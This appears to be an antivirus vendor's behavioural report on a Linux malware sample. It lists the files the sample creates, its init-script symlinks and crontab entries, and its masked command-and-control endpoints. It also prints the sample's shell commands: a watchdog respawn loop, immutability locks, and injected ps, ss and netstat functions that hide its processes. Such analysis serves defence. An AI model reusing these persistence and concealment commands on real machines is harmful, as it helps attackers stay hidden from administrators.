Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/rc.d/init.d/linux.sh
- /etc/init.d/linux.sh
- /etc/profile.d/linux.sh
- /etc/crontab
Creates or modifies the following symlinks:
- /etc/rc0.d/linux.sh
- /etc/rc1.d/linux.sh
- /etc/rc2.d/linux.sh
- /etc/rc3.d/linux.sh
- /etc/rc4.d/linux.sh
- /etc/rc5.d/linux.sh
- /etc/rc6.d/linux.sh
Malicious functions:
Removes itself
Launches processes:
- /usr/bin/getconf CLK_TCK
- /bin/bash -c cp <SAMPLE_FULL_PATH> /boot/<SAMPLE>;rm -f <SAMPLE_FULL_PATH>;sleep 2;/usr/bin/nohup /boot/<SAMPLE> ] > /dev/null 2>&1 &
- cp <SAMPLE_FULL_PATH> /boot/<SAMPLE>
- rm -f <SAMPLE_FULL_PATH>
- sleep 2
- /usr/bin/nohup /boot/<SAMPLE> ]
- /boot/<SAMPLE> ]
- /bin/bash -c chattr +i /boot/<SAMPLE>
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rcS.d/linux.sh&
- /bin/bash -c echo \"#!/bin/bash\" > /etc/profile.d/linux.sh
- /bin/bash -c echo -e \"#!/bin/bash\nwhile [ 1 ]; do\nCentos_ssh_killn=\$(ps aux | grep \\"<SAMPLE>\\" | grep -v grep | wc -l)\n if [[ \$Centos_ssh_killn -eq 0 ]]; then\n if [ ! -f \\"/boot/<SAMPLE>\\" ]; then\n cp /usr/<SAMPLE> /boot/<SAMPLE>\n chmod 755 /boot/<SAMPLE>\n /usr/bin/nohup /boot/<SAMPLE> > /dev/null 2>&1 &\n else\n chmod 755 /boot/<SAMPLE>\n /usr/bin/nohup /boot/<SAMPLE> > /dev/null 2>&1 &\n fi\n fi\n sleep 30 > /dev/null 2>&1\ndone\" > /usr/32679
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc0.d/linux.sh&
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc1.d/linux.sh&
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc1.d/linux.sh&
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc2.d/linux.sh&
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc2.d/linux.sh&
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc3.d/linux.sh&
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc3.d/linux.sh&
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc4.d/linux.sh&
- chattr +i /boot/<SAMPLE>
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc4.d/linux.sh&
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc5.d/linux.sh&
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc5.d/linux.sh&
- ln -s /etc/init.d/linux.sh /etc/rcS.d/linux.sh
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc6.d/linux.sh&
- /bin/bash -c ln -s /etc/init.d/linux.sh /etc/rc6.d/linux.sh&
- ln -s /etc/init.d/linux.sh /etc/rc0.d/linux.sh
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc1.d/linux.sh
- ln -s /etc/init.d/linux.sh /etc/rc1.d/linux.sh
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc2.d/linux.sh
- ln -s /etc/init.d/linux.sh /etc/rc2.d/linux.sh
- ln -s /etc/init.d/linux.sh /etc/rc3.d/linux.sh
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc3.d/linux.sh
- /bin/bash -c ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc0.d/linux.sh&
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc4.d/linux.sh
- ln -s /etc/init.d/linux.sh /etc/rc4.d/linux.sh
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc5.d/linux.sh
- ln -s /etc/init.d/linux.sh /etc/rc5.d/linux.sh
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc6.d/linux.sh
- ln -s /etc/init.d/linux.sh /etc/rc6.d/linux.sh
- /bin/bash -c chmod 0755 /usr/32679;/usr/bin/nohup /usr/32679 > /dev/null 2>&1 &
- ln -s /etc/rc.d/init.d/linux.sh /etc/rc.d/rc0.d/linux.sh
- /bin/bash -c echo -e \"\nfunction ps { proc_name=\$(/bin/ps \$@);proc_name=\$(echo \\"\$proc_name\\" | sed -e '/<SAMPLE>/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/linux.sh/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/32679/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/65531/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/.conf/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/sleep/d');echo \\"\$proc_name\\"; }\" >> /etc/profile.d/linux.sh
- chmod 0755 /usr/32679
- /bin/bash -c echo \"* * * * * root /usr/bin/nohup /.conf > /dev/null 2>&1 &\" >> /etc/crontab
- /usr/bin/nohup /usr/32679
- /usr/32679
- /bin/bash -c cp /boot/<SAMPLE> /<SAMPLE>
- /bin/bash -c echo -e \"\nfunction ss { proc_name=\$(/bin/ss \$@);proc_name=\$(echo \\"\$proc_name\\" | sed -e '/<SAMPLE>/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/linux.sh/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/32679/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/65531/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/.conf/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/sleep/d');echo \\"\$proc_name\\"; }\" >> /etc/profile.d/linux.sh
- cp /boot/<SAMPLE> /<SAMPLE>
- grep <SAMPLE>
- ps aux
- /bin/bash -c echo -e \"\nfunction netstat { proc_name=\$(/bin/netstat \$@);proc_name=\$(echo \\"\$proc_name\\" | sed -e '/<SAMPLE>/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/linux.sh/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/32679/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/65531/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/.conf/d');proc_name=\$(echo \\"\$proc_name\\" | sed -e '/sleep/d');echo \\"\$proc_name\\"; }\" >> /etc/profile.d/linux.sh
- wc -l
- grep -v grep
- /bin/bash -c chmod 0755 /.conf
- chmod 0755 /.conf
- sleep 30
Kills the following processes:
- <SAMPLE>
- /boot/<SAMPLE>
Performs operations with the file system:
Modifies file access rights:
- /usr/32679
- /.conf
Creates symlinks:
- /etc/rcS.d/linux.sh
Creates or modifies files:
- /boot/<SAMPLE>
- /etc/.conf
- /usr/32679
- /<SAMPLE>
Locks files:
- /etc/.conf
Network activity:
Establishes connection:
- 1.#.4.8:53
- 45.###.10.153:65531
DNS ASK:
- as.##iqingde.cn
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
